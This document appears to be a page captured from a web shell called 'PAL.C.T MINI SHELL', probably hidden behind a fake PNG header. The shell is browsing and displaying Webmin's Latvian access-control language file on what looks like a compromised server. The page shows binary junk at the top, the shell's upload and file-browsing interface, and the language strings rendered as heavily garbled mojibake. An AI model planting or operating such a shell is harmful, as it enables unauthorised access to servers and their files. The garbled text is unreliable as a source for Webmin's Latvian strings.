‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/lv.auto

index_title=Webmin lietotÄji
index_user=LietotÄjs
index_modules=Moduļi
index_create=Izveidojiet jaunu priviliģētu lietotÄju.
index_screate=Izveidojiet jaunu droÅ¡u lietotÄju.
index_convert=PÄrvÄ“rst Unix Webmin lietotÄjiem
index_cert=Pieprasiet SSL sertifikÄtu
index_twofactor=Divfaktoru autentifikÄcija
index_certmsg=Noklikšķiniet uz šīs pogas, lai pieprasÄ«tu SSL sertifikÄtu, kas ļaus jums droÅ¡i pieteikties Webmin, neievadot lietotÄjvÄrdu un paroli.
index_return=lietotÄju saraksts
index_none=Nav
index_edit=Rediģēt moduļa ACL:
index_global=GlobÄlÄ ACL
index_users=Webmin lietotÄji
index_groups=Webmin grupas
index_group=Grupa
index_nousers=Nav definÄ“ts rediģējams Webmin lietotÄjs.
index_nogroups=Nav definētas Webmin grupas.
index_gcreate=Izveidojiet jaunu Webmin grupu.
index_members=Locekļi
index_modgroups=Moduļi no grupas $1
index_sync=KonfigurÄ“jiet Unix lietotÄja sinhronizÄciju
index_unix=KonfigurÄ“jiet Unix lietotÄja autentifikÄciju
index_sessions=SkatÄ«t pieteikÅ¡anÄs sesijas
index_rbac=Iestatīt RBAC
index_delete=Dzēst atlasīto
index_joingroup=Pievienot grupai:
index_eulist=NeizdevÄs uzskaitÄ«t lietotÄjus: $1
index_eglist=NeizdevÄs uzskaitÄ«t grupas: $1

edit_title=Rediģēt Webmin lietotÄju
edit_title2=Izveidot Webmin lietotÄju
edit_title3=Izveidojiet droÅ¡u Webmin lietotÄju
edit_readonly=Å o Webmin lietotÄju nevajadzÄ“tu rediģēt, jo to pÄrvalda modulis $1. <a href='$2'>Noklikšķiniet Å¡eit</a>, lai apietu Å¡o brÄ«dinÄjumu un jebkurÄ gadÄ«jumÄ rediģētu lietotÄju, taÄu esiet piesardzÄ«gs, jo visas manuÄlÄs izmaiņas var bÅ«t pÄrrakstÄ«tas!
edit_rights=Webmin lietotÄja piekļuves tiesÄ«bas
edit_user=LietotÄjvÄrds
edit_cloneof=Webmin lietotÄja klonēšana
edit_real=Īstais vÄrds
edit_group=Grupas loceklis
edit_pass=Parole
edit_same=Tas pats, kas Unix
edit_lock=Nav pieņemta parole
edit_pam=PAM autentifikÄcija
edit_unix=Unix autentifikÄcija
edit_extauth=Ä€rÄ“jÄ autentifikÄcijas programma
edit_dont=Nemaini
edit_set=Iestatīts uz
edit_passlocked=Parole nav mainīta $1 dienas - konts ir bloķēts!
edit_passmax=Parole nav mainÄ«ta $1 dienas - ir jÄmaina nÄkamajÄ pieteikÅ¡anÄs reizÄ“
edit_passold=Parole pēdējo reizi tika mainīta pirms $1
edit_passtoday=Parole tika nomainÄ«ta mazÄk nekÄ pirms dienas
edit_modules=Moduļi
edit_clone=Klons
edit_twofactor=Divfaktoru autentifikÄcijas tips
edit_twofactorprov=Pakalpojuma sniedzēja $1 izmantošana ar ID $2
edit_twofactorcancel=Noņemiet divu faktoru autentifikÄcijas prasÄ«bu
edit_twofactornone=PagaidÄm nav iestatÄ«ta
edit_twofactoradd=IespÄ“jojiet divfaktoru lietotÄjam
edit_lang=Valoda
edit_notabs=Kategorizēt moduļus?
edit_logout=NeaktivitÄtes atteikÅ¡anÄs laiks
edit_mins=minūtes
edit_chars=vēstules
edit_minsize=MinimÄlais paroles garums
edit_nochange=Izpildīt paroles maiņas dienas?
edit_cert=SSL sertifikÄta nosaukums
edit_none=Nav
edit_ips=IP piekļuves kontrole
edit_all=Atļaut no visÄm adresÄ“m
edit_allow=Atļaut tikai no uzskaitÄ«tajÄm adresÄ“m
edit_deny=Liegt no norÄdÄ«tajÄm adresÄ“m
edit_ipdesc=LietotÄja IP piekļuves kontrole darbojas tÄpat kÄ globÄlÄ IP piekļuves kontrole Webmin konfigurÄcijas modulÄ«. Tikai tad, ja lietotÄjs nokÄrtos globÄlÄs vadÄ«klas, tiks pÄrbaudÄ«tas arÄ« Å¡eit esoÅ¡Äs.
edit_skill=ZinÄÅ¡anu lÄ«menis
edit_risk=Riska līmenis
edit_risk_high=Super lietotÄjs
edit_risk_medium=Administratora lietotÄjs
edit_risk_low=Parasts lietotÄjs
edit_groupmods=(Papildus moduļiem no grupas)
edit_euser=Jums nav atļauts rediģēt Å¡o lietotÄju
edit_egone=AtlasÄ«tais lietotÄjs vairs nepastÄv!
edit_ecreate=Jums nav atļauts izveidot lietotÄjus
edit_theme=PersonÄ«gÄ lietotÄja saskarnes tÄ“ma
edit_themeglobal=No Webmin konfigurÄcijas
edit_themedef=VecÄ Webmin tÄ“ma
edit_overlay=PersoniskÄs tÄ“mas pÄrklÄjums
edit_overlayglobal=Nav - izmantojiet motīvu noklusējumus
edit_log=SkatÄ«t žurnÄlus
edit_selall=Izvēlēties visus
edit_invert=ApgrieztÄ atlase
edit_hide=Slēpt neizmantoto
edit_switch=PÄrslÄ“gties uz LietotÄju
edit_return=Webmin lietotÄjs
edit_return2=Webmin grupa
edit_rbacdeny=RBAC piekļuves režīms
edit_rbacdeny0=RBAC kontrolē tikai atlasītos moduļa ACL
edit_rbacdeny1=RBAC kontrolē visus moduļus un ACL
edit_global=Visu moduļu atļaujas
edit_templock=Uz laiku bloķēta
edit_temppass=Piespiest izmaiņas nÄkamajÄ pieteikÅ¡anÄs reizÄ“
edit_days=AtļautÄs nedēļas dienas
edit_alldays=Katru dienu
edit_seldays=Tikai atlasÄ«tÄs dienas..
edit_hours=Atļautie diennakts laiki
edit_allhours=JebkurÄ laikÄ
edit_selhours=SÄkot no $1:$2 lÄ«dz $3:$4 
edit_ui=LietotÄja interfeisa opcijas
edit_security=Drošības un limitu iespējas
edit_mods=Pieejamie Webmin moduļi
edit_modsg=Pieejamie Webmin moduļi (papildus tiem, kas ietilpst grupÄ)
edit_proto=KrÄtuves tips
edit_proto_mysql=MySQL datu bÄze
edit_proto_postgresql=PostgreSQL datu bÄze
edit_proto_ldap=LDAP serveris
edit_proto_=Vietējie faili
edit_safe=Privilēģiju līmenis
edit_safe0=Neierobežots
edit_safe1=Tikai droši moduļi
edit_unsafe=Atiestatīt uz neierobežotu

save_err=NeizdevÄs saglabÄt lietotÄju
save_ename='$1' nav derÄ«gs lietotÄjvÄrds
save_eunixname=LietotÄjvÄrds '$1' nav Unix lietotÄjs, tÄpÄ“c to nevar izmantot droÅ¡ajÄ režīmÄ
save_enamewebmin=LietotÄjvÄrds “webmin†ir paredzÄ“ts iekšējai lietoÅ¡anai
save_edup=LietotÄjvÄrds '$1' jau tiek izmantots
save_eoverlay=MotÄ«va pÄrklÄjumu nevar atlasÄ«t, ja vien tas nav
save_edeny=jÅ«s nevarat liegt sev piekļuvi Webmin lietotÄju modulim
save_eos=JÅ«su operÄ“tÄjsistÄ“ma neatbalsta tÄdu paÅ¡u kÄ Unix paroles opcija.
save_emd5=To paÅ¡u kÄ Unix paroles opciju nevar izmantot sistÄ“mÄs ar MD5 Å¡ifrēšanu
save_eunix=Unix lietotÄjs '$1' neeksistÄ“
save_emod=Jūs nevarat piešķirt piekļuvi modulim '$1'
save_ecreate=Jums nav atļauts izveidot lietotÄjus
save_euser=Jums nav atļauts rediģēt Å¡o lietotÄju
save_ecolon=Parolēs nedrīkst būt rakstzīme:
save_epass=Parole nav derīga: $1
save_eself=JÅ«su paÅ¡reizÄ“jÄ IP adrese ($1) tiktu noraidÄ«ta
save_epam=PAM autentifikÄcija nav pieejama, jo modulis <tt>Authen::PAM</tt> Perl nav instalÄ“ts vai nedarbojas pareizi.
save_epam2=Varat izmantot Webmin Perl moduļus, lai <a href='$1'>lejupielÄdÄ“tu un instalÄ“tu Authen::PAM</a>.
save_egroup=Jums nav atļauts piešķirt šo grupu
save_enone=Nav ievadīta neviena adrese
save_enet=“$1†nav derīga tīkla adrese
save_emask='$1' nav derīgs tīkla masks
save_eip='$1' nav pilnīga IP vai tīkla adrese
save_ehost=NeizdevÄs atrast '$1' IP adresi
save_elogouttime=TrÅ«kst vai nav skaitliska neaktivitÄtes atteikÅ¡anÄs laika
save_eminsize=TrÅ«kst vai nav ciparu minimÄlais paroles garums
save_edays=Nav dienu, lai atļautu atlasīto
save_ehours=Trūkst vai nav derīgi laiki
save_ehours2=SÄkuma laikam jÄbÅ«t atļautam pirms beigÄm
save_etemp=IespÄ“ju piespiest mainÄ«t paroli nÄkamajÄ pieteikÅ¡anÄs reizÄ“ nevar izmantot, ja nav iespÄ“jota <a href='$1'>pamudina lietotÄjus ievadÄ«t jaunas paroles</a>.

delete_err=NeizdevÄs izdzÄ“st lietotÄju
delete_eself=Jūs pats nevarat izdzēst
delete_ecannot=Jums nav atļauts izdzÄ“st lietotÄjus
delete_euser=Jums nav atļauts izdzÄ“st Å¡o lietotÄju
delete_eanonuser=Å is lietotÄjs tiek izmantots anonÄ«mai piekļuvei moduļiem

cert_title=PieprasÄ«t sertifikÄtu
cert_issue=Izsniegt sertifikÄtu
cert_header=Jauna sertifikÄta informÄcija
cert_msg=Å Ä« forma ļauj jums pieprasÄ«t SSL klienta sertifikÄtu, kas turpmÄk tiks izmantots, lai piešķirtu piekļuvi Webmin sava lietotÄjvÄrda un paroles vietÄ. Tas ir droÅ¡Äk, taÄu, tÄ kÄ autentifikÄcija ir automÄtiska, sertifikÄta izmantoÅ¡anas laikÄ nevarÄ“sit pÄrslÄ“gties uz citu lietotÄju.
cert_ebrowser=Webmin nezina, kÄ izsniegt klienta sertifikÄtus jÅ«su pÄrlÅ«kprogrammai ($1)
cert_cn=Tavs vÄrds
cert_email=Epasta adrese
cert_ou=nodaļa
cert_o=OrganizÄcija
cert_sp=Valsts
cert_c=Valsts kods
cert_key=Taustiņa lielums
cert_done=JÅ«su sertifikÄts $1 ir veiksmÄ«gi izveidots.
cert_pickup=<a href='$1'>Noklikšķiniet Å¡eit, lai paņemtu sertifikÄtu un instalÄ“tu to pÄrlÅ«kprogrammÄ</a>
cert_install=InstalÄ“jiet sertifikÄtu pÄrlÅ«kprogrammÄ
cert_ekey=JÅ«su pÄrlÅ«kprogramma nav iesniegusi jaunu SSL atslÄ“gu - iespÄ“jams, tÄ neatbalsta SSL klienta sertifikÄtus.
cert_eca=NeizdevÄs iestatÄ«t sertifikÄta autoritÄti: $1
cert_already=BrÄ«dinÄjums - jÅ«s jau izmantojat sertifikÄtu $1.
cert_etempdir=NederÄ«gs sertifikÄta fails

acl_title=Moduļu piekļuves kontrole
acl_title2=$1 $2
acl_title3=Grupai $1 grupÄ $2
acl_options=$1 piekļuves kontroles iespējas
acl_config=Vai var rediģēt moduļa konfigurÄciju?
acl_reset=Atiestatīt uz pilnu piekļuvi
acl_rbac=Vai iegūt piekļuves kontroles iestatījumus no RBAC?
acl_rbacyes=JÄ (ignorÄ“ iestatÄ«jumus zemÄk)

acl_uall=Visi lietotÄji
acl_uthis=Å is lietotÄjs
acl_usel=AtlasÄ«tie lietotÄji..
acl_gr=$1 dalībnieki
acl_users=LietotÄji, kurus var rediģēt
acl_mods=Var piešķirt piekļuvi
acl_all=Visi moduļi
acl_own=Tikai viņa paša moduļi
acl_sel=Atlasītie moduļi..
acl_create=Vai varat izveidot jaunus lietotÄjus?
acl_delete=Vai var izdzÄ“st lietotÄjus?
acl_rename=Vai lietotÄjus var pÄrdÄ“vÄ“t?
acl_acl=Vai var rediģēt moduļa piekļuves kontroli?
acl_lang=Vai var mainīt valodu?
acl_chcert=Vai var mainÄ«t SSL sertifikÄta nosaukumu?
acl_euser=Jums nav atļauts rediģēt šī lietotÄja ACL
acl_egroup=Jums nav atļauts rediģēt grupas ACL
acl_emod=Jums nav atļauts rediģēt šī moduļa ACL
acl_others=Vai var redzēt nepieejamus moduļus?
acl_cert=Vai var pieprasÄ«t sertifikÄtu?
acl_err=NeizdevÄs saglabÄt piekļuves kontroli
acl_groups=Vai var rediģēt grupas?
acl_gassign=Var piešķirt lietotÄjus grupÄm
acl_gall=Visas grupas
acl_gsel=Atlasīts..
acl_gnone=Nav
acl_perms=Jaunizveidotie lietotÄji saņem
acl_perms_1=TÄda pati moduļa piekļuves kontrole kÄ veidotÄjam
acl_perms_0=Noklusējuma (neierobežota) moduļa piekļuves kontrole
acl_sync=Vai var konfigurÄ“t lietotÄja sinhronizÄciju?
acl_unix=Vai var konfigurÄ“t unix autentifikÄciju?
acl_sessions=Vai var apskatÄ«t un atcelt pieteikÅ¡anÄs sesijas?
acl_cats=Vai var mainīt kategorizēšanu?
acl_theme=Vai var mainīt personisko tēmu?
acl_ips=Vai var mainīt IP piekļuves kontroli?
acl_switch=Vai var pÄriet uz citiem lietotÄjiem?
acl_times=Vai var mainÄ«t atļautos pieteikÅ¡anÄs laikus?
acl_pass=Vai var mainīt paroles ierobežojumus?
acl_sql=Vai var konfigurÄ“t lietotÄju un grupu datu bÄzi?

log_modify=PÄrveidots Webmin lietotÄjs $1
log_rename=PÄrdÄ“vÄ“ts Webmin lietotÄjs $1 uz $2
log_create=Izveidots Webmin lietotÄjs $1
log_clone=KlonÄ“ts Webmin lietotÄjs $1 uz $2
log_delete=IzdzÄ“sts Webmin lietotÄjs $1
log_acl=AtjauninÄta piekļuve $1 $2
log_reset=Atiestatīt piekļuvi $1 $2
log_cert=Izdots sertifikÄts lietotÄjam $1
log_modify_g=PÄrveidota Webmin grupa $1
log_rename_g=PÄrdÄ“vÄ“ta Webmin grupa $1 uz $2
log_create_g=Izveidota Webmin grupa $1
log_delete_g=Izdzēsta Webmin grupa $1
log_switch=PÄrgÄja uz Webmin lietotÄju $1
log_delete_users=SvÄ«troti $1 Webmin lietotÄji
log_delete_groups=Tika izdzēstas $1 Webmin grupas
log_joingroup=Pievienots $1 Webmin lietotÄjiem grupai $2
log_pass=Mainīti paroles ierobežojumi
log_unix=MainÄ«ta unix lietotÄja autentifikÄcija
log_sync=MainÄ«ta unix lietotÄja sinhronizÄcija
log_sql=MainÄ«ta lietotÄju un grupu datu bÄze
log_twofactor=ReÄ£istrÄ“tais lietotÄjs $1 ar divu faktoru nodroÅ¡inÄtÄju $2
log_onefactor=NereÄ£istrÄ“ts lietotÄjs $1 divu faktoru autentifikÄcijai

gedit_ecannot=Jums nav atļauts rediģēt grupas
gedit_title=Rediģēt Webmin grupu
gedit_title2=Izveidot Webmin grupu
gedit_group=Grupas nosaukums
gedit_rights=Webmin grupas piekļuves tiesības
gedit_modules=Locekļu moduļi
gedit_members=Dalībnieki un grupas
gedit_desc=Grupas apraksts
gedit_egone=AtlasÄ«tÄ grupa vairs nepastÄv!

gdelete_err=NeizdevÄs izdzÄ“st grupu
gdelete_ecannot=Jums nav atļauts izdzēst grupas
gdelete_euser=Jūs nevarat izdzēst savu grupu
gdelete_esub=Grupas ar apakÅ¡grupÄm nevar izdzÄ“st
gdelete_title=Dzēst grupu
gdelete_desc=Vai tieÅ¡Äm vÄ“laties izdzÄ“st grupu $1 un tÄs dalÄ«bnieku lietotÄjus $2?
gdelete_ok=Dzēst grupu

gsave_err=NeizdevÄs saglabÄt grupu
gsave_ename=Trūkst vai nav derīgs grupas nosaukums
gsave_enamewebmin=Grupas nosaukums “webmin†ir paredzēts iekšējai lietošanai
gsave_edup=Grupas nosaukums jau tiek izmantots
gsave_edesc=Nederīgs apraksts - rakstzīme: nav atļauta

convert_title=LietotÄju konvertēšana
convert_ecannot=Jums nav atļauts pÄrveidot Unix lietotÄju
convert_nogroups=JÅ«su sistÄ“mÄ nav definÄ“tas Webmin grupas. Pirms konvertēšanas ir jÄizveido vismaz viena grupa, lai pÄrveidotajiem lietotÄjiem definÄ“tu atļaujas.
convert_desc=Å Ä« forma ļauj pÄrveidot esoÅ¡os Unix lietotÄjus par Webmin lietotÄjiem. Katra jauna Webmin lietotÄja atļaujas nosaka tÄlÄk atlasÄ«tÄ grupa.
convert_0=Visi lietotÄji
convert_1=Tikai lietotÄji
convert_2=Visi, izņemot lietotÄjus
convert_3=LietotÄji ar grupu
convert_4=LietotÄji ar UID diapazonÄ
convert_group=Piešķiriet jaunus lietotÄjus Webmin grupai
convert_sync2=Vai nÄkotnÄ“ sinhronizÄ“t paroli ar Unix lietotÄju?
convert_ok=Konvertēt tūlīt
convert_err=NeizdevÄs konvertÄ“t lietotÄjus
convert_eusers=Neviens lietotÄjs nevar konvertÄ“t ievadÄ«to
convert_egroup=Unix grupa nepastÄv
convert_emin=NederÄ«gs minimÄlais UID
convert_emax=NederÄ«gs maksimÄlais UID
convert_ewgroup=Nav tÄdas Webmin grupas
convert_ewgroup2=Jums nav atļauts Å¡ai grupai piešķirt jaunus lietotÄjus
convert_skip=$1 tiek izlaists
convert_exists=$1 jau pastÄv
convert_invalid=$1 nav derÄ«gs Webmin lietotÄjvÄrds
convert_added=Tiek pievienota $1
convert_msg=Notiek Unix lietotÄju konvertēšana...
convert_user=Unix lietotÄjs
convert_action=Darbība veikta
convert_done=$1 lietotÄji konvertÄ“ti, $2 nederÄ«gi, $3 jau pastÄv, $4 izslÄ“gts.
convert_users=LietotÄji konvertēšanai

sync_title=Unix lietotÄja sinhronizÄcija
sync_desc=Å Ä« forma ļauj konfigurÄ“t automÄtisko Unix lietotÄju, kas izveidoti, izmantojot Webmin, un šī moduļa lietotÄju sinhronizÄciju.
sync_nogroups=JÅ«su sistÄ“mÄ nav definÄ“tas Webmin grupas. Lai iestatÄ«tu piekļuvi izveidotajiem lietotÄjiem, ir jÄizveido vismaz viena grupa.
sync_when=Kad sinhronizēt
sync_create=Izveidojiet Webmin lietotÄju, kad tiek izveidots Unix lietotÄjs.
sync_update=Atjauniniet atbilstoÅ¡o Webmin lietotÄju, kad tiek atjauninÄts Unix lietotÄjs.
sync_delete=Dzēšot atbilstoÅ¡o Webmin lietotÄju, kad tiek izdzÄ“sts Unix lietotÄjs.
sync_modify=PÄrdÄ“vÄ“jiet atbilstoÅ¡o Webmin lietotÄju, kad Unix lietotÄjs tiek pÄrdÄ“vÄ“ts.
sync_group=Piešķiriet jaunus lietotÄjus Webmin grupai
sync_unix=Iestatiet jauno lietotÄju paroli Unix autentifikÄcijai.
sync_ecannot=Jums nav atļauts konfigurÄ“t lietotÄja sinhronizÄciju.

unix_title=Unix lietotÄja autentifikÄcija
unix_err=NeizdevÄs saglabÄt Unix autentifikÄciju
unix_desc=Å Ä« lapa ļauj konfigurÄ“t Webmin, lai validÄ“tu pieteikÅ¡anÄs mēģinÄjumus, izmantojot sistÄ“mas lietotÄju sarakstu un PAM. Tas var bÅ«t noderÄ«gi, ja jums ir liels skaits esoÅ¡o Unix lietotÄju, kuriem vÄ“laties dot piekļuvi Webmin.
unix_def=Tikai Webmin lietotÄjiem atļauj pieteikties
unix_sel=Ä»aut zemÄk uzskaitÄ«tajiem Unix lietotÄjiem pieteikties..
unix_mode=Atļaut
unix_mall=Visi lietotÄji
unix_group=Grupas dalībnieki..
unix_user=Unix lietotÄjs..
unix_who=LietotÄjs vai grupa
unix_to=KÄ Webmin lietotÄjs
unix_ecannot=Jums nav atļauts konfigurÄ“t Unix lietotÄja autentifikÄciju
unix_epam=Unix autentifikÄcija nav pieejama, jo modulis <tt>Authen::PAM</tt> Perl nav instalÄ“ts vai nedarbojas pareizi.
unix_all=Atļaut visiem Unix lietotÄjiem
unix_allow=Atļaut tikai uzskaitÄ«tos Unix lietotÄjus
unix_deny=NoraidÄ«t uzskaitÄ«tos Unix lietotÄjus
unix_none=Nav ievadÄ«ts neviens lietotÄjs
unix_euser='$1' nav derÄ«gs lietotÄjvÄrds
unix_egroup='$1' nav derīgs grupas nosaukums
unix_shells=NoraidÄ«t Unix lietotÄjus, kuru Äaulas nav failÄ
unix_eshells=TrÅ«kst vai neeksistÄ“ Äaumalu fails
unix_restrict2=Papildu ierobežojumi
unix_ewhogroup=TrÅ«kst grupas, lai atļautu rindÄ $1
unix_ewhouser=TrÅ«kst lietotÄja, lai atļautu rindÄ $1
unix_enone=Nav atļauts ievadÄ«t nevienu Unix lietotÄju vai grupu
unix_same=&lt;Tas pats lietotÄjs vai grupa&gt;
unix_sudo=Ä»aut lietotÄjiem, kuri var palaist visas komandas, izmantojot <tt>sudo</tt>, pieteikties kÄ <tt>saknes</tt>
unix_pamany=Logins, kas iztur tikai PAM validÄciju, apstrÄdÄjiet kÄ $1
unix_esudo=Komanda $1 nav instalēta
unix_esudomod=Perl modulis $1, kas nepiecieÅ¡ams <tt>sudo</tt> autentifikÄcijai, nav instalÄ“ts
unix_header=Unix lietotÄja autentifikÄcijas iestatÄ«jumi
unix_utable=Atļautie Unix lietotÄji

sessions_title=PaÅ¡reizÄ“jÄs pieteikÅ¡anÄs sesijas
sessions_id=Sesijas ID
sessions_user=Webmin lietotÄjs
sessions_login=Pēdējo reizi aktīvs plkst
sessions_host=IP adrese
sessions_lview=SkatÄ«t žurnÄlus..
sessions_actions=Darbības..
sessions_all=Visas sesijas..
sessions_logouts=RÄdÄ«t arÄ« atteikÅ¡anÄs sesijas..
sessions_state=Valsts
sessions_this=Å Ä« pieteikÅ¡anÄs
sessions_in=Pieteicies
sessions_out=Izlogojies
sessions_kill=Atvienot..

logins_title=JaunÄkie Webmin pieteikumi

hide_title=Slēpt neizmantotos moduļus
hide_desc=Å ie moduļi tiks noņemti no moduļu piekļuves saraksta $1, jo atbilstoÅ¡ie serveri nav instalÄ“ti jÅ«su sistÄ“mÄ.
hide_ok=Slēpt moduļus tūlīt
hide_none=Nav ko slÄ“pt - $1 nav piekļuves moduļiem, kuru attiecÄ«gie serveri nav instalÄ“ti jÅ«su sistÄ“mÄ.
hide_desc2=Å…emiet vÄ“rÄ, ka Å¡ie moduļi netiks automÄtiski parÄdÄ«ti automÄtiski, ja tiks instalÄ“ti atbilstoÅ¡ie serveri. Izmantojot Å¡o moduli, jums bÅ«s jÄpiešķir piekļuve manuÄli.
hide_clone=(Klons $1)

switch_euser=Jums nav atļauts pÄrslÄ“gties uz Å¡o lietotÄju
switch_eold=EsoÅ¡Ä sesija nav atrasta.

rbac_title=Iestatīt RBAC
rbac_desc=Webmin RBAC integrÄcija nodroÅ¡ina veidu, kÄ lietotÄja moduļa un ACL atļaujas var noteikt no RBAC (Role Based Access Control) datu bÄzes, nevis no paÅ¡a Webmin konfigurÄcijas failiem. Kad RBAC atbalsts ir iespÄ“jots, jebkuram lietotÄjam, kuram ir atlasÄ«ta opcija <b>RBAC kontrolÄ“ visus moduļus un ACL</b>, viņa iespÄ“jas nosaka RBAC, nevis Webmin paÅ¡a piekļuves kontroles iestatÄ«jumi.
rbac_esolaris=RBAC Å¡obrÄ«d tiek atbalstÄ«ts tikai Solaris, un tÄpÄ“c to nevar izmantot Å¡ajÄ $1 sistÄ“mÄ.
rbac_eperl=Perla modulis $1, kas nepiecieÅ¡ams RBAC integrÄcijai, nav instalÄ“ts. <a href='$2'>Noklikšķiniet Å¡eit</a>, lai to instalÄ“tu tÅ«lÄ«t.
rbac_ecpan=Jums nav piekļuves Webmin Perl moduļu lapai, lai instalÄ“tu nepiecieÅ¡amo $1 moduli RBAC integrÄcijai.
rbac_ok=RBAC integrÄcija ir pieejama Å¡ajÄ sistÄ“mÄ, un to var iespÄ“jot katram lietotÄjam lapÄ Rediģēt Webmin lietotÄju.

udeletes_err=NeizdevÄs izdzÄ“st lietotÄjus
udeletes_jerr=NeizdevÄs pievienot lietotÄjus grupai
udeletes_enone=Nav atlasīts
udeletes_title=DzÄ“st lietotÄjus
udeletes_rusure=Vai tieÅ¡Äm vÄ“laties dzÄ“st $1 atlasÄ«tos lietotÄjus? Tiks zaudÄ“ti visi piekļuves kontroles iestatÄ«jumi un informÄcija par lietotÄju.
udeletes_users=AtlasÄ«tie lietotÄji: $1
udeletes_ok=DzÄ“st lietotÄjus
udeletes_ereadonly=Viens no atlasÄ«tajiem lietotÄjiem ir atzÄ«mÄ“ts kÄ rediģējams

gdeletes_err=NeizdevÄs izdzÄ“st grupas
gdeletes_title=Dzēst grupas
gdeletes_rusure=Vai tieÅ¡Äm vÄ“laties izdzÄ“st atlasÄ«tÄs grupas $1 un tajÄs ietvertos $2 lietotÄjus? Tiks zaudÄ“ti visi piekļuves kontroles iestatÄ«jumi un informÄcija par lietotÄju.
gdeletes_users=AtlasÄ«tÄs grupas: $1
gdeletes_ok=Dzēst grupas

pass_title=Paroles ierobežojumi
pass_ecannot=Jums nav atļauts rediģēt paroles ierobežojumus
pass_header=Webmin paroles izpildes iespējas
pass_minsize=MinimÄlais paroles garums
pass_nominsize=Nav minimuma
pass_regexps=Parasto izteicienu parolÄ“m jÄsakrÄ«t
pass_regdesc=CilvÄ“kam lasÄms regulÄras izteiksmes apraksts
pass_maxdays=Dienas pirms paroles jÄmaina
pass_lockdays=Dienas pirms tiek mainīta parole, tiek bloķēts konts
pass_nomaxdays=PÄrmaiņas nekad nav vajadzÄ«gas
pass_nolockdays=Konts nekad netiek bloķēts
pass_nouser=Vai neatļaut paroles, kurÄs ir lietotÄjvÄrds?
pass_nodict=Vai neatļaut vÄrdnÄ«cu vÄrdu paroles?
pass_oldblock=NoraidÄmo veco paroļu skaits
pass_nooldblock=Paroļu atkÄrtotai izmantoÅ¡anai nav ierobežojumu
pass_days=dienas
pass_pass=paroles
pass_err=NeizdevÄs saglabÄt paroles ierobežojumus
pass_eminsize=TrÅ«kst vai nav ciparu minimÄlais paroles garums
pass_emaxdays=Trūkst vai nav skaitlisku dienu pirms mainīšanas
pass_elockdays=Trūkst dienu vai dienu skaita, pirms konts tiek bloķēts
pass_eoldblock=TrÅ«kst noraidÄmo veco paroļu vai to nav skaitliski

cpass_minsize=JÄbÅ«t vismaz $1 burtiem
cpass_notre=Atbilst aizliegtajam modelim
cpass_re=Neatbilst prasītajam modelim
cpass_name=Satur lietotÄjvÄrdu
cpass_dict=Ir vÄrdnÄ«cas vÄrds
cpass_spellcmd=Neviena komanda $1 vai $2 nav nepiecieÅ¡ama, lai pÄrbaudÄ«tu, vai nav vÄrdnÄ«cas vÄrdu.
cpass_old=VecÄs paroles nevar izmantot atkÄrtoti

sql_title=LietotÄju un grupu datu bÄze
sql_ecannot=Jums nav atļauts konfigurÄ“t lietotÄju un grupu datu bÄzi
sql_header=LietotÄju un grupu datu bÄzes aizmugures opcijas
sql_host=Resursdatora nosaukums
sql_user=LietotÄjvÄrds
sql_pass=Parole
sql_db=Datu bÄzes nosaukums
sql_ssl=Savienojuma šifrēšana
sql_ssl0=Nav
sql_ssl1=SSL
sql_ssl2=TLS
sql_userclass=Objektu klase lietotÄjiem
sql_groupclass=Objektu klase grupÄm
sql_euserclass=TrÅ«kst vai nav derÄ«ga lietotÄju klase
sql_egroupclass=Trūkst vai nav derīga grupu klase
sql_none=Izmantojiet tikai vietÄ“jos failus, lai saglabÄtu lietotÄjus un grupas
sql_mysql=Izmantojiet MySQL datu bÄzi
sql_postgresql=Izmantojiet PostgreSQL datu bÄzi
sql_ldap=Izmantojiet LDAP serveri
sql_prefix=Izveidot zem DN
sql_addto0=Pievienojiet jaunus lietotÄjus iepriekÅ¡ atlasÄ«tajai datu bÄzei
sql_addto1=Pievienojiet vietÄ“jiem failiem jaunus lietotÄjus
sql_nocache0=KeÅ¡atmiņas savienojumi ar datu bÄzi
sql_nocache1=Katram uzmeklējumam atveriet jaunu savienojumu
sql_emod=TrÅ«kst nepiecieÅ¡amÄ Perla moduļa <tt>$1</tt>
sql_etable=NeizdevÄs noskaidrot nepiecieÅ¡amo tabulu $1:$2 
sql_eldapdn=Netika atrasts pamata LDAP DN $1
sql_eclass=LDAP objekta klase $1 servera shÄ“mÄ neeksistÄ“
sql_err=NeizdevÄs saglabÄt lietotÄju un grupu datu bÄzes iestatÄ«jumus
sql_ehost=TrÅ«kst vai nav atrisinÄms resursdatora nosaukums
sql_euser=TrÅ«kst vai nav derÄ«gs lietotÄjvÄrds (atstarpes nav atļautas)
sql_epass=Nederīga parole (atstarpes nav atļautas)
sql_edb=NederÄ«gs datu bÄzes nosaukums (atstarpes nav atļautas)
sql_eprefix=Trūkst vai nav derīga pamata DN (atstarpes nav atļautas)
sql_eprefix2=NederÄ«ga izskata bÄze DN - jÄbÅ«t kÄ <tt>dc = mydomain, dc = com</tt>
sql_title2=Izveidojiet trÅ«kstoÅ¡Äs tabulas
sql_tableerr=LietotÄju un grupu datu bÄzes iestatÄ«jumi ir derÄ«gi, taÄu trÅ«kst dažu Webmin vajadzÄ«go tabulu: $1
sql_tableerr2=Noklikšķiniet uz pogas <b>Izveidot tabulas</b> zemÄk, lai tos izveidotu automÄtiski, vai arÄ« manuÄli palaidiet zemÄk esoÅ¡o SQL.
sql_make=Izveidot tabulas
sql_title3=Izveidojiet trūkstošo DN
sql_dnerr=LietotÄju un grupu datu bÄzes iestatÄ«jumi ir derÄ«gi, taÄu trÅ«kst Webmin nepiecieÅ¡ama LDAP DN: $1
